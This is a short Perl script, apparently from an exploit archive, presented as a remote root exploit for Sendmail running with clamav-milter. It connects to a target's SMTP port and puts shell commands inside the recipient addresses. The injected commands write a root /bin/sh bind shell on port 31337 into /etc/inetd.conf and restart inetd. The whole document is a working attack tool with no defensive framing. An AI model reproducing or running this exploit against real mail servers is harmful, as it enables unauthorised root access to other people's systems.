28 lines
No EOL
876 B
Raku
Executable file
28 lines
No EOL
876 B
Raku
Executable file
### black-hole.pl
|
|
### Sendmail w/ clamav-milter Remote Root Exploit
|
|
### Copyright (c) 2007 Eliteboy
|
|
########################################################
|
|
use IO::Socket;
|
|
|
|
print "Sendmail w/ clamav-milter Remote Root Exploit\n";
|
|
print "Copyright (C) 2007 Eliteboy\n";
|
|
|
|
if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}
|
|
|
|
print "Attacking $ARGV[0]...\n";
|
|
|
|
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
|
|
PeerPort => '25',
|
|
Proto => 'tcp');
|
|
|
|
print $sock "ehlo you\r\n";
|
|
print $sock "mail from: <>\r\n";
|
|
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
|
|
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
|
|
print $sock "data\r\n.\r\nquit\r\n";
|
|
|
|
while (<$sock>) {
|
|
print;
|
|
}
|
|
|
|
# milw0rm.com [2007-12-21] |